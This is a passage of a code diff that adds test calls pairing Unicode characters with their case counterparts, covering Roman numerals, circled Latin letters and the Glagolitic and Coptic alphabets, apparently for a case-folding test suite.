+test(0x2170, 0x2160); // SMALL ROMAN NUMERAL ONE, ROMAN NUMERAL ONE
+test(0x2171, 0x2161); // SMALL ROMAN NUMERAL TWO, ROMAN NUMERAL TWO
+test(0x2172, 0x2162); // SMALL ROMAN NUMERAL THREE, ROMAN NUMERAL THREE
+test(0x2173, 0x2163); // SMALL ROMAN NUMERAL FOUR, ROMAN NUMERAL FOUR
+test(0x2174, 0x2164); // SMALL ROMAN NUMERAL FIVE, ROMAN NUMERAL FIVE
+test(0x2175, 0x2165); // SMALL ROMAN NUMERAL SIX, ROMAN NUMERAL SIX
+test(0x2176, 0x2166); // SMALL ROMAN NUMERAL SEVEN, ROMAN NUMERAL SEVEN
+test(0x2177, 0x2167); // SMALL ROMAN NUMERAL EIGHT, ROMAN NUMERAL EIGHT
+test(0x2178, 0x2168); // SMALL ROMAN NUMERAL NINE, ROMAN NUMERAL NINE
+test(0x2179, 0x2169); // SMALL ROMAN NUMERAL TEN, ROMAN NUMERAL TEN
+test(0x217A, 0x216A); // SMALL ROMAN NUMERAL ELEVEN, ROMAN NUMERAL ELEVEN
+test(0x217B, 0x216B); // SMALL ROMAN NUMERAL TWELVE, ROMAN NUMERAL TWELVE
+test(0x217C, 0x216C); // SMALL ROMAN NUMERAL FIFTY, ROMAN NUMERAL FIFTY
+test(0x217D, 0x216D); // SMALL ROMAN NUMERAL ONE HUNDRED, ROMAN NUMERAL ONE HUNDRED
+test(0x217E, 0x216E); // SMALL ROMAN NUMERAL FIVE HUNDRED, ROMAN NUMERAL FIVE HUNDRED
+test(0x217F, 0x216F); // SMALL ROMAN NUMERAL ONE THOUSAND, ROMAN NUMERAL ONE THOUSAND
+test(0x2183, 0x2184); // ROMAN NUMERAL REVERSED ONE HUNDRED, LATIN SMALL LETTER REVERSED C
+test(0x2184, 0x2183); // LATIN SMALL LETTER REVERSED C, ROMAN NUMERAL REVERSED ONE HUNDRED
+test(0x24B6, 0x24D0); // CIRCLED LATIN CAPITAL LETTER A, CIRCLED LATIN SMALL LETTER A
+test(0x24B7, 0x24D1); // CIRCLED LATIN CAPITAL LETTER B, CIRCLED LATIN SMALL LETTER B
+test(0x24B8, 0x24D2); // CIRCLED LATIN CAPITAL LETTER C, CIRCLED LATIN SMALL LETTER C
+test(0x24B9, 0x24D3); // CIRCLED LATIN CAPITAL LETTER D, CIRCLED LATIN SMALL LETTER D
+test(0x24BA, 0x24D4); // CIRCLED LATIN CAPITAL LETTER E, CIRCLED LATIN SMALL LETTER E
+test(0x24BB, 0x24D5); // CIRCLED LATIN CAPITAL LETTER F, CIRCLED LATIN SMALL LETTER F
+test(0x24BC, 0x24D6); // CIRCLED LATIN CAPITAL LETTER G, CIRCLED LATIN SMALL LETTER G
+test(0x24BD, 0x24D7); // CIRCLED LATIN CAPITAL LETTER H, CIRCLED LATIN SMALL LETTER H
+test(0x24BE, 0x24D8); // CIRCLED LATIN CAPITAL LETTER I, CIRCLED LATIN SMALL LETTER I
+test(0x24BF, 0x24D9); // CIRCLED LATIN CAPITAL LETTER J, CIRCLED LATIN SMALL LETTER J
+test(0x24C0, 0x24DA); // CIRCLED LATIN CAPITAL LETTER K, CIRCLED LATIN SMALL LETTER K
+test(0x24C1, 0x24DB); // CIRCLED LATIN CAPITAL LETTER L, CIRCLED LATIN SMALL LETTER L
+test(0x24C2, 0x24DC); // CIRCLED LATIN CAPITAL LETTER M, CIRCLED LATIN SMALL LETTER M
+test(0x24C3, 0x24DD); // CIRCLED LATIN CAPITAL LETTER N, CIRCLED LATIN SMALL LETTER N
+test(0x24C4, 0x24DE); // CIRCLED LATIN CAPITAL LETTER O, CIRCLED LATIN SMALL LETTER O
+test(0x24C5, 0x24DF); // CIRCLED LATIN CAPITAL LETTER P, CIRCLED LATIN SMALL LETTER P
+test(0x24C6, 0x24E0); // CIRCLED LATIN CAPITAL LETTER Q, CIRCLED LATIN SMALL LETTER Q
+test(0x24C7, 0x24E1); // CIRCLED LATIN CAPITAL LETTER R, CIRCLED LATIN SMALL LETTER R
+test(0x24C8, 0x24E2); // CIRCLED LATIN CAPITAL LETTER S, CIRCLED LATIN SMALL LETTER S
+test(0x24C9, 0x24E3); // CIRCLED LATIN CAPITAL LETTER T, CIRCLED LATIN SMALL LETTER T
+test(0x24CA, 0x24E4); // CIRCLED LATIN CAPITAL LETTER U, CIRCLED LATIN SMALL LETTER U
+test(0x24CB, 0x24E5); // CIRCLED LATIN CAPITAL LETTER V, CIRCLED LATIN SMALL LETTER V
+test(0x24CC, 0x24E6); // CIRCLED LATIN CAPITAL LETTER W, CIRCLED LATIN SMALL LETTER W
+test(0x24CD, 0x24E7); // CIRCLED LATIN CAPITAL LETTER X, CIRCLED LATIN SMALL LETTER X
+test(0x24CE, 0x24E8); // CIRCLED LATIN CAPITAL LETTER Y, CIRCLED LATIN SMALL LETTER Y
+test(0x24CF, 0x24E9); // CIRCLED LATIN CAPITAL LETTER Z, CIRCLED LATIN SMALL LETTER Z
+test(0x24D0, 0x24B6); // CIRCLED LATIN SMALL LETTER A, CIRCLED LATIN CAPITAL LETTER A
+test(0x24D1, 0x24B7); // CIRCLED LATIN SMALL LETTER B, CIRCLED LATIN CAPITAL LETTER B
+test(0x24D2, 0x24B8); // CIRCLED LATIN SMALL LETTER C, CIRCLED LATIN CAPITAL LETTER C
+test(0x24D3, 0x24B9); // CIRCLED LATIN SMALL LETTER D, CIRCLED LATIN CAPITAL LETTER D
+test(0x24D4, 0x24BA); // CIRCLED LATIN SMALL LETTER E, CIRCLED LATIN CAPITAL LETTER E
+test(0x24D5, 0x24BB); // CIRCLED LATIN SMALL LETTER F, CIRCLED LATIN CAPITAL LETTER F
+test(0x24D6, 0x24BC); // CIRCLED LATIN SMALL LETTER G, CIRCLED LATIN CAPITAL LETTER G
+test(0x24D7, 0x24BD); // CIRCLED LATIN SMALL LETTER H, CIRCLED LATIN CAPITAL LETTER H
+test(0x24D8, 0x24BE); // CIRCLED LATIN SMALL LETTER I, CIRCLED LATIN CAPITAL LETTER I
+test(0x24D9, 0x24BF); // CIRCLED LATIN SMALL LETTER J, CIRCLED LATIN CAPITAL LETTER J
+test(0x24DA, 0x24C0); // CIRCLED LATIN SMALL LETTER K, CIRCLED LATIN CAPITAL LETTER K
+test(0x24DB, 0x24C1); // CIRCLED LATIN SMALL LETTER L, CIRCLED LATIN CAPITAL LETTER L
+test(0x24DC, 0x24C2); // CIRCLED LATIN SMALL LETTER M, CIRCLED LATIN CAPITAL LETTER M
+test(0x24DD, 0x24C3); // CIRCLED LATIN SMALL LETTER N, CIRCLED LATIN CAPITAL LETTER N
+test(0x24DE, 0x24C4); // CIRCLED LATIN SMALL LETTER O, CIRCLED LATIN CAPITAL LETTER O
+test(0x24DF, 0x24C5); // CIRCLED LATIN SMALL LETTER P, CIRCLED LATIN CAPITAL LETTER P
+test(0x24E0, 0x24C6); // CIRCLED LATIN SMALL LETTER Q, CIRCLED LATIN CAPITAL LETTER Q
+test(0x24E1, 0x24C7); // CIRCLED LATIN SMALL LETTER R, CIRCLED LATIN CAPITAL LETTER R
+test(0x24E2, 0x24C8); // CIRCLED LATIN SMALL LETTER S, CIRCLED LATIN CAPITAL LETTER S
+test(0x24E3, 0x24C9); // CIRCLED LATIN SMALL LETTER T, CIRCLED LATIN CAPITAL LETTER T
+test(0x24E4, 0x24CA); // CIRCLED LATIN SMALL LETTER U, CIRCLED LATIN CAPITAL LETTER U
+test(0x24E5, 0x24CB); // CIRCLED LATIN SMALL LETTER V, CIRCLED LATIN CAPITAL LETTER V
+test(0x24E6, 0x24CC); // CIRCLED LATIN SMALL LETTER W, CIRCLED LATIN CAPITAL LETTER W
+test(0x24E7, 0x24CD); // CIRCLED LATIN SMALL LETTER X, CIRCLED LATIN CAPITAL LETTER X
+test(0x24E8, 0x24CE); // CIRCLED LATIN SMALL LETTER Y, CIRCLED LATIN CAPITAL LETTER Y
+test(0x24E9, 0x24CF); // CIRCLED LATIN SMALL LETTER Z, CIRCLED LATIN CAPITAL LETTER Z
+test(0x2C00, 0x2C30); // GLAGOLITIC CAPITAL LETTER AZU, GLAGOLITIC SMALL LETTER AZU
+test(0x2C01, 0x2C31); // GLAGOLITIC CAPITAL LETTER BUKY, GLAGOLITIC SMALL LETTER BUKY
+test(0x2C02, 0x2C32); // GLAGOLITIC CAPITAL LETTER VEDE, GLAGOLITIC SMALL LETTER VEDE
+test(0x2C03, 0x2C33); // GLAGOLITIC CAPITAL LETTER GLAGOLI, GLAGOLITIC SMALL LETTER GLAGOLI
+test(0x2C04, 0x2C34); // GLAGOLITIC CAPITAL LETTER DOBRO, GLAGOLITIC SMALL LETTER DOBRO
+test(0x2C05, 0x2C35); // GLAGOLITIC CAPITAL LETTER YESTU, GLAGOLITIC SMALL LETTER YESTU
+test(0x2C06, 0x2C36); // GLAGOLITIC CAPITAL LETTER ZHIVETE, GLAGOLITIC SMALL LETTER ZHIVETE
+test(0x2C07, 0x2C37); // GLAGOLITIC CAPITAL LETTER DZELO, GLAGOLITIC SMALL LETTER DZELO
+test(0x2C08, 0x2C38); // GLAGOLITIC CAPITAL LETTER ZEMLJA, GLAGOLITIC SMALL LETTER ZEMLJA
+test(0x2C09, 0x2C39); // GLAGOLITIC CAPITAL LETTER IZHE, GLAGOLITIC SMALL LETTER IZHE
+test(0x2C0A, 0x2C3A); // GLAGOLITIC CAPITAL LETTER INITIAL IZHE, GLAGOLITIC SMALL LETTER INITIAL IZHE
+test(0x2C0B, 0x2C3B); // GLAGOLITIC CAPITAL LETTER I, GLAGOLITIC SMALL LETTER I
+test(0x2C0C, 0x2C3C); // GLAGOLITIC CAPITAL LETTER DJERVI, GLAGOLITIC SMALL LETTER DJERVI
+test(0x2C0D, 0x2C3D); // GLAGOLITIC CAPITAL LETTER KAKO, GLAGOLITIC SMALL LETTER KAKO
+test(0x2C0E, 0x2C3E); // GLAGOLITIC CAPITAL LETTER LJUDIJE, GLAGOLITIC SMALL LETTER LJUDIJE
+test(0x2C0F, 0x2C3F); // GLAGOLITIC CAPITAL LETTER MYSLITE, GLAGOLITIC SMALL LETTER MYSLITE
+test(0x2C10, 0x2C40); // GLAGOLITIC CAPITAL LETTER NASHI, GLAGOLITIC SMALL LETTER NASHI
+test(0x2C11, 0x2C41); // GLAGOLITIC CAPITAL LETTER ONU, GLAGOLITIC SMALL LETTER ONU
+test(0x2C12, 0x2C42); // GLAGOLITIC CAPITAL LETTER POKOJI, GLAGOLITIC SMALL LETTER POKOJI
+test(0x2C13, 0x2C43); // GLAGOLITIC CAPITAL LETTER RITSI, GLAGOLITIC SMALL LETTER RITSI
+test(0x2C14, 0x2C44); // GLAGOLITIC CAPITAL LETTER SLOVO, GLAGOLITIC SMALL LETTER SLOVO
+test(0x2C15, 0x2C45); // GLAGOLITIC CAPITAL LETTER TVRIDO, GLAGOLITIC SMALL LETTER TVRIDO
+test(0x2C16, 0x2C46); // GLAGOLITIC CAPITAL LETTER UKU, GLAGOLITIC SMALL LETTER UKU
+test(0x2C17, 0x2C47); // GLAGOLITIC CAPITAL LETTER FRITU, GLAGOLITIC SMALL LETTER FRITU
+test(0x2C18, 0x2C48); // GLAGOLITIC CAPITAL LETTER HERU, GLAGOLITIC SMALL LETTER HERU
+test(0x2C19, 0x2C49); // GLAGOLITIC CAPITAL LETTER OTU, GLAGOLITIC SMALL LETTER OTU
+test(0x2C1A, 0x2C4A); // GLAGOLITIC CAPITAL LETTER PE, GLAGOLITIC SMALL LETTER PE
+test(0x2C1B, 0x2C4B); // GLAGOLITIC CAPITAL LETTER SHTA, GLAGOLITIC SMALL LETTER SHTA
+test(0x2C1C, 0x2C4C); // GLAGOLITIC CAPITAL LETTER TSI, GLAGOLITIC SMALL LETTER TSI
+test(0x2C1D, 0x2C4D); // GLAGOLITIC CAPITAL LETTER CHRIVI, GLAGOLITIC SMALL LETTER CHRIVI
+test(0x2C1E, 0x2C4E); // GLAGOLITIC CAPITAL LETTER SHA, GLAGOLITIC SMALL LETTER SHA
+test(0x2C1F, 0x2C4F); // GLAGOLITIC CAPITAL LETTER YERU, GLAGOLITIC SMALL LETTER YERU
+test(0x2C20, 0x2C50); // GLAGOLITIC CAPITAL LETTER YERI, GLAGOLITIC SMALL LETTER YERI
+test(0x2C21, 0x2C51); // GLAGOLITIC CAPITAL LETTER YATI, GLAGOLITIC SMALL LETTER YATI
+test(0x2C22, 0x2C52); // GLAGOLITIC CAPITAL LETTER SPIDERY HA, GLAGOLITIC SMALL LETTER SPIDERY HA
+test(0x2C23, 0x2C53); // GLAGOLITIC CAPITAL LETTER YU, GLAGOLITIC SMALL LETTER YU
+test(0x2C24, 0x2C54); // GLAGOLITIC CAPITAL LETTER SMALL YUS, GLAGOLITIC SMALL LETTER SMALL YUS
+test(0x2C25, 0x2C55); // GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL, GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL
+test(0x2C26, 0x2C56); // GLAGOLITIC CAPITAL LETTER YO, GLAGOLITIC SMALL LETTER YO
+test(0x2C27, 0x2C57); // GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS, GLAGOLITIC SMALL LETTER IOTATED SMALL YUS
+test(0x2C28, 0x2C58); // GLAGOLITIC CAPITAL LETTER BIG YUS, GLAGOLITIC SMALL LETTER BIG YUS
+test(0x2C29, 0x2C59); // GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS, GLAGOLITIC SMALL LETTER IOTATED BIG YUS
+test(0x2C2A, 0x2C5A); // GLAGOLITIC CAPITAL LETTER FITA, GLAGOLITIC SMALL LETTER FITA
+test(0x2C2B, 0x2C5B); // GLAGOLITIC CAPITAL LETTER IZHITSA, GLAGOLITIC SMALL LETTER IZHITSA
+test(0x2C2C, 0x2C5C); // GLAGOLITIC CAPITAL LETTER SHTAPIC, GLAGOLITIC SMALL LETTER SHTAPIC
+test(0x2C2D, 0x2C5D); // GLAGOLITIC CAPITAL LETTER TROKUTASTI A, GLAGOLITIC SMALL LETTER TROKUTASTI A
+test(0x2C2E, 0x2C5E); // GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE, GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+test(0x2C30, 0x2C00); // GLAGOLITIC SMALL LETTER AZU, GLAGOLITIC CAPITAL LETTER AZU
+test(0x2C31, 0x2C01); // GLAGOLITIC SMALL LETTER BUKY, GLAGOLITIC CAPITAL LETTER BUKY
+test(0x2C32, 0x2C02); // GLAGOLITIC SMALL LETTER VEDE, GLAGOLITIC CAPITAL LETTER VEDE
+test(0x2C33, 0x2C03); // GLAGOLITIC SMALL LETTER GLAGOLI, GLAGOLITIC CAPITAL LETTER GLAGOLI
+test(0x2C34, 0x2C04); // GLAGOLITIC SMALL LETTER DOBRO, GLAGOLITIC CAPITAL LETTER DOBRO
+test(0x2C35, 0x2C05); // GLAGOLITIC SMALL LETTER YESTU, GLAGOLITIC CAPITAL LETTER YESTU
+test(0x2C36, 0x2C06); // GLAGOLITIC SMALL LETTER ZHIVETE, GLAGOLITIC CAPITAL LETTER ZHIVETE
+test(0x2C37, 0x2C07); // GLAGOLITIC SMALL LETTER DZELO, GLAGOLITIC CAPITAL LETTER DZELO
+test(0x2C38, 0x2C08); // GLAGOLITIC SMALL LETTER ZEMLJA, GLAGOLITIC CAPITAL LETTER ZEMLJA
+test(0x2C39, 0x2C09); // GLAGOLITIC SMALL LETTER IZHE, GLAGOLITIC CAPITAL LETTER IZHE
+test(0x2C3A, 0x2C0A); // GLAGOLITIC SMALL LETTER INITIAL IZHE, GLAGOLITIC CAPITAL LETTER INITIAL IZHE
+test(0x2C3B, 0x2C0B); // GLAGOLITIC SMALL LETTER I, GLAGOLITIC CAPITAL LETTER I
+test(0x2C3C, 0x2C0C); // GLAGOLITIC SMALL LETTER DJERVI, GLAGOLITIC CAPITAL LETTER DJERVI
+test(0x2C3D, 0x2C0D); // GLAGOLITIC SMALL LETTER KAKO, GLAGOLITIC CAPITAL LETTER KAKO
+test(0x2C3E, 0x2C0E); // GLAGOLITIC SMALL LETTER LJUDIJE, GLAGOLITIC CAPITAL LETTER LJUDIJE
+test(0x2C3F, 0x2C0F); // GLAGOLITIC SMALL LETTER MYSLITE, GLAGOLITIC CAPITAL LETTER MYSLITE
+test(0x2C40, 0x2C10); // GLAGOLITIC SMALL LETTER NASHI, GLAGOLITIC CAPITAL LETTER NASHI
+test(0x2C41, 0x2C11); // GLAGOLITIC SMALL LETTER ONU, GLAGOLITIC CAPITAL LETTER ONU
+test(0x2C42, 0x2C12); // GLAGOLITIC SMALL LETTER POKOJI, GLAGOLITIC CAPITAL LETTER POKOJI
+test(0x2C43, 0x2C13); // GLAGOLITIC SMALL LETTER RITSI, GLAGOLITIC CAPITAL LETTER RITSI
+test(0x2C44, 0x2C14); // GLAGOLITIC SMALL LETTER SLOVO, GLAGOLITIC CAPITAL LETTER SLOVO
+test(0x2C45, 0x2C15); // GLAGOLITIC SMALL LETTER TVRIDO, GLAGOLITIC CAPITAL LETTER TVRIDO
+test(0x2C46, 0x2C16); // GLAGOLITIC SMALL LETTER UKU, GLAGOLITIC CAPITAL LETTER UKU
+test(0x2C47, 0x2C17); // GLAGOLITIC SMALL LETTER FRITU, GLAGOLITIC CAPITAL LETTER FRITU
+test(0x2C48, 0x2C18); // GLAGOLITIC SMALL LETTER HERU, GLAGOLITIC CAPITAL LETTER HERU
+test(0x2C49, 0x2C19); // GLAGOLITIC SMALL LETTER OTU, GLAGOLITIC CAPITAL LETTER OTU
+test(0x2C4A, 0x2C1A); // GLAGOLITIC SMALL LETTER PE, GLAGOLITIC CAPITAL LETTER PE
+test(0x2C4B, 0x2C1B); // GLAGOLITIC SMALL LETTER SHTA, GLAGOLITIC CAPITAL LETTER SHTA
+test(0x2C4C, 0x2C1C); // GLAGOLITIC SMALL LETTER TSI, GLAGOLITIC CAPITAL LETTER TSI
+test(0x2C4D, 0x2C1D); // GLAGOLITIC SMALL LETTER CHRIVI, GLAGOLITIC CAPITAL LETTER CHRIVI
+test(0x2C4E, 0x2C1E); // GLAGOLITIC SMALL LETTER SHA, GLAGOLITIC CAPITAL LETTER SHA
+test(0x2C4F, 0x2C1F); // GLAGOLITIC SMALL LETTER YERU, GLAGOLITIC CAPITAL LETTER YERU
+test(0x2C50, 0x2C20); // GLAGOLITIC SMALL LETTER YERI, GLAGOLITIC CAPITAL LETTER YERI
+test(0x2C51, 0x2C21); // GLAGOLITIC SMALL LETTER YATI, GLAGOLITIC CAPITAL LETTER YATI
+test(0x2C52, 0x2C22); // GLAGOLITIC SMALL LETTER SPIDERY HA, GLAGOLITIC CAPITAL LETTER SPIDERY HA
+test(0x2C53, 0x2C23); // GLAGOLITIC SMALL LETTER YU, GLAGOLITIC CAPITAL LETTER YU
+test(0x2C54, 0x2C24); // GLAGOLITIC SMALL LETTER SMALL YUS, GLAGOLITIC CAPITAL LETTER SMALL YUS
+test(0x2C55, 0x2C25); // GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL, GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL
+test(0x2C56, 0x2C26); // GLAGOLITIC SMALL LETTER YO, GLAGOLITIC CAPITAL LETTER YO
+test(0x2C57, 0x2C27); // GLAGOLITIC SMALL LETTER IOTATED SMALL YUS, GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS
+test(0x2C58, 0x2C28); // GLAGOLITIC SMALL LETTER BIG YUS, GLAGOLITIC CAPITAL LETTER BIG YUS
+test(0x2C59, 0x2C29); // GLAGOLITIC SMALL LETTER IOTATED BIG YUS, GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS
+test(0x2C5A, 0x2C2A); // GLAGOLITIC SMALL LETTER FITA, GLAGOLITIC CAPITAL LETTER FITA
+test(0x2C5B, 0x2C2B); // GLAGOLITIC SMALL LETTER IZHITSA, GLAGOLITIC CAPITAL LETTER IZHITSA
+test(0x2C5C, 0x2C2C); // GLAGOLITIC SMALL LETTER SHTAPIC, GLAGOLITIC CAPITAL LETTER SHTAPIC
+test(0x2C5D, 0x2C2D); // GLAGOLITIC SMALL LETTER TROKUTASTI A, GLAGOLITIC CAPITAL LETTER TROKUTASTI A
+test(0x2C5E, 0x2C2E); // GLAGOLITIC SMALL LETTER LATINATE MYSLITE, GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
+test(0x2C60, 0x2C61); // LATIN CAPITAL LETTER L WITH DOUBLE BAR, LATIN SMALL LETTER L WITH DOUBLE BAR
+test(0x2C61, 0x2C60); // LATIN SMALL LETTER L WITH DOUBLE BAR, LATIN CAPITAL LETTER L WITH DOUBLE BAR
+test(0x2C62, 0x026B); // LATIN CAPITAL LETTER L WITH MIDDLE TILDE, LATIN SMALL LETTER L WITH MIDDLE TILDE
+test(0x2C63, 0x1D7D); // LATIN CAPITAL LETTER P WITH STROKE, LATIN SMALL LETTER P WITH STROKE
+test(0x2C64, 0x027D); // LATIN CAPITAL LETTER R WITH TAIL, LATIN SMALL LETTER R WITH TAIL (LATIN SMALL LETTER R HOOK)
+test(0x2C65, 0x023A); // LATIN SMALL LETTER A WITH STROKE, LATIN CAPITAL LETTER A WITH STROKE
+test(0x2C66, 0x023E); // LATIN SMALL LETTER T WITH DIAGONAL STROKE, LATIN CAPITAL LETTER T WITH DIAGONAL STROKE
+test(0x2C67, 0x2C68); // LATIN CAPITAL LETTER H WITH DESCENDER, LATIN SMALL LETTER H WITH DESCENDER
+test(0x2C68, 0x2C67); // LATIN SMALL LETTER H WITH DESCENDER, LATIN CAPITAL LETTER H WITH DESCENDER
+test(0x2C69, 0x2C6A); // LATIN CAPITAL LETTER K WITH DESCENDER, LATIN SMALL LETTER K WITH DESCENDER
+test(0x2C6A, 0x2C69); // LATIN SMALL LETTER K WITH DESCENDER, LATIN CAPITAL LETTER K WITH DESCENDER
+test(0x2C6B, 0x2C6C); // LATIN CAPITAL LETTER Z WITH DESCENDER, LATIN SMALL LETTER Z WITH DESCENDER
+test(0x2C6C, 0x2C6B); // LATIN SMALL LETTER Z WITH DESCENDER, LATIN CAPITAL LETTER Z WITH DESCENDER
+test(0x2C6D, 0x0251); // LATIN CAPITAL LETTER ALPHA, LATIN SMALL LETTER ALPHA (LATIN SMALL LETTER SCRIPT A)
+test(0x2C6E, 0x0271); // LATIN CAPITAL LETTER M WITH HOOK, LATIN SMALL LETTER M WITH HOOK (LATIN SMALL LETTER M HOOK)
+test(0x2C6F, 0x0250); // LATIN CAPITAL LETTER TURNED A, LATIN SMALL LETTER TURNED A
+test(0x2C70, 0x0252); // LATIN CAPITAL LETTER TURNED ALPHA, LATIN SMALL LETTER TURNED ALPHA (LATIN SMALL LETTER TURNED SCRIPT A)
+test(0x2C72, 0x2C73); // LATIN CAPITAL LETTER W WITH HOOK, LATIN SMALL LETTER W WITH HOOK
+test(0x2C73, 0x2C72); // LATIN SMALL LETTER W WITH HOOK, LATIN CAPITAL LETTER W WITH HOOK
+test(0x2C75, 0x2C76); // LATIN CAPITAL LETTER HALF H, LATIN SMALL LETTER HALF H
+test(0x2C76, 0x2C75); // LATIN SMALL LETTER HALF H, LATIN CAPITAL LETTER HALF H
+test(0x2C7E, 0x023F); // LATIN CAPITAL LETTER S WITH SWASH TAIL, LATIN SMALL LETTER S WITH SWASH TAIL
+test(0x2C7F, 0x0240); // LATIN CAPITAL LETTER Z WITH SWASH TAIL, LATIN SMALL LETTER Z WITH SWASH TAIL
+test(0x2C80, 0x2C81); // COPTIC CAPITAL LETTER ALFA, COPTIC SMALL LETTER ALFA
+test(0x2C81, 0x2C80); // COPTIC SMALL LETTER ALFA, COPTIC CAPITAL LETTER ALFA
+test(0x2C82, 0x2C83); // COPTIC CAPITAL LETTER VIDA, COPTIC SMALL LETTER VIDA
+test(0x2C83, 0x2C82); // COPTIC SMALL LETTER VIDA, COPTIC CAPITAL LETTER VIDA
+test(0x2C84, 0x2C85); // COPTIC CAPITAL LETTER GAMMA, COPTIC SMALL LETTER GAMMA
+test(0x2C85, 0x2C84); // COPTIC SMALL LETTER GAMMA, COPTIC CAPITAL LETTER GAMMA
+test(0x2C86, 0x2C87); // COPTIC CAPITAL LETTER DALDA, COPTIC SMALL LETTER DALDA
+test(0x2C87, 0x2C86); // COPTIC SMALL LETTER DALDA, COPTIC CAPITAL LETTER DALDA
+test(0x2C88, 0x2C89); // COPTIC CAPITAL LETTER EIE, COPTIC SMALL LETTER EIE
+test(0x2C89, 0x2C88); // COPTIC SMALL LETTER EIE, COPTIC CAPITAL LETTER EIE
+test(0x2C8A, 0x2C8B); // COPTIC CAPITAL LETTER SOU, COPTIC SMALL LETTER SOU
+test(0x2C8B, 0x2C8A); // COPTIC SMALL LETTER SOU, COPTIC CAPITAL LETTER SOU
+test(0x2C8C, 0x2C8D); // COPTIC CAPITAL LETTER ZATA, COPTIC SMALL LETTER ZATA
+test(0x2C8D, 0x2C8C); // COPTIC SMALL LETTER ZATA, COPTIC CAPITAL LETTER ZATA
+test(0x2C8E, 0x2C8F); // COPTIC CAPITAL LETTER HATE, COPTIC SMALL LETTER HATE
+test(0x2C8F, 0x2C8E); // COPTIC SMALL LETTER HATE, COPTIC CAPITAL LETTER HATE
+test(0x2C90, 0x2C91); // COPTIC CAPITAL LETTER THETHE, COPTIC SMALL LETTER THETHE
+test(0x2C91, 0x2C90); // COPTIC SMALL LETTER THETHE, COPTIC CAPITAL LETTER THETHE
+test(0x2C92, 0x2C93); // COPTIC CAPITAL LETTER IAUDA, COPTIC SMALL LETTER IAUDA
+test(0x2C93, 0x2C92); // COPTIC SMALL LETTER IAUDA, COPTIC CAPITAL LETTER IAUDA
+test(0x2C94, 0x2C95); // COPTIC CAPITAL LETTER KAPA, COPTIC SMALL LETTER KAPA
+test(0x2C95, 0x2C94); // COPTIC SMALL LETTER KAPA, COPTIC CAPITAL LETTER KAPA
+test(0x2C96, 0x2C97); // COPTIC CAPITAL LETTER LAULA, COPTIC SMALL LETTER LAULA
+test(0x2C97, 0x2C96); // COPTIC SMALL LETTER LAULA, COPTIC CAPITAL LETTER LAULA
+test(0x2C98, 0x2C99); // COPTIC CAPITAL LETTER MI, COPTIC SMALL LETTER MI
+test(0x2C99, 0x2C98); // COPTIC SMALL LETTER MI, COPTIC CAPITAL LETTER MI
+test(0x2C9A, 0x2C9B); // COPTIC CAPITAL LETTER NI, COPTIC SMALL LETTER NI
+test(0x2C9B, 0x2C9A); // COPTIC SMALL LETTER NI, COPTIC CAPITAL LETTER NI
+test(0x2C9C, 0x2C9D); // COPTIC CAPITAL LETTER KSI, COPTIC SMALL LETTER KSI
+test(0x2C9D, 0x2C9C); // COPTIC SMALL LETTER KSI, COPTIC CAPITAL LETTER KSI
+test(0x2C9E, 0x2C9F); // COPTIC CAPITAL LETTER O, COPTIC SMALL LETTER O
+test(0x2C9F, 0x2C9E); // COPTIC SMALL LETTER O, COPTIC CAPITAL LETTER O
+test(0x2CA0, 0x2CA1); // COPTIC CAPITAL LETTER PI, COPTIC SMALL LETTER PI
+test(0x2CA1, 0x2CA0); // COPTIC SMALL LETTER PI, COPTIC CAPITAL LETTER PI
+test(0x2CA2, 0x2CA3); // COPTIC CAPITAL LETTER RO, COPTIC SMALL LETTER RO
+test(0x2CA3, 0x2CA2); // COPTIC SMALL LETTER RO, COPTIC CAPITAL LETTER RO
+test(0x2CA4, 0x2CA5); // COPTIC CAPITAL LETTER SIMA, COPTIC SMALL LETTER SIMA
+test(0x2CA5, 0x2CA4); // COPTIC SMALL LETTER SIMA, COPTIC CAPITAL LETTER SIMA
+test(0x2CA6, 0x2CA7); // COPTIC CAPITAL LETTER TAU, COPTIC SMALL LETTER TAU
+test(0x2CA7, 0x2CA6); // COPTIC SMALL LETTER TAU, COPTIC CAPITAL LETTER TAU
+test(0x2CA8, 0x2CA9); // COPTIC CAPITAL LETTER UA, COPTIC SMALL LETTER UA
+test(0x2CA9, 0x2CA8); // COPTIC SMALL LETTER UA, COPTIC CAPITAL LETTER UA
+test(0x2CAA, 0x2CAB); // COPTIC CAPITAL LETTER FI, COPTIC SMALL LETTER FI
+test(0x2CAB, 0x2CAA); // COPTIC SMALL LETTER FI, COPTIC CAPITAL LETTER FI
+test(0x2CAC, 0x2CAD); // COPTIC CAPITAL LETTER KHI, COPTIC SMALL LETTER KHI
+test(0x2CAD, 0x2CAC); // COPTIC SMALL LETTER KHI, COPTIC CAPITAL LETTER KHI
+test(0x2CAE, 0x2CAF); // COPTIC CAPITAL LETTER PSI, COPTIC SMALL LETTER PSI
+test(0x2CAF, 0x2CAE); // COPTIC SMALL LETTER PSI, COPTIC CAPITAL LETTER PSI
+test(0x2CB0, 0x2CB1); // COPTIC CAPITAL LETTER OOU, COPTIC SMALL LETTER OOU
+test(0x2CB1, 0x2CB0); // COPTIC SMALL LETTER OOU, COPTIC CAPITAL LETTER OOU
+test(0x2CB2, 0x2CB3); // COPTIC CAPITAL LETTER DIALECT-P ALEF, COPTIC SMALL LETTER DIALECT-P ALEF
+test(0x2CB3, 0x2CB2); // COPTIC SMALL LETTER DIALECT-P ALEF, COPTIC CAPITAL LETTER DIALECT-P ALEF
+test(0x2CB4, 0x2CB5); // COPTIC CAPITAL LETTER OLD COPTIC AIN, COPTIC SMALL LETTER OLD COPTIC AIN
+test(0x2CB5, 0x2CB4); // COPTIC SMALL LETTER OLD COPTIC AIN, COPTIC CAPITAL LETTER OLD COPTIC AIN
+test(0x2CB6, 0x2CB7); // COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE, COPTIC SMALL LETTER CRYPTOGRAMMIC EIE
+test(0x2CB7, 0x2CB6); // COPTIC SMALL LETTER CRYPTOGRAMMIC EIE, COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE
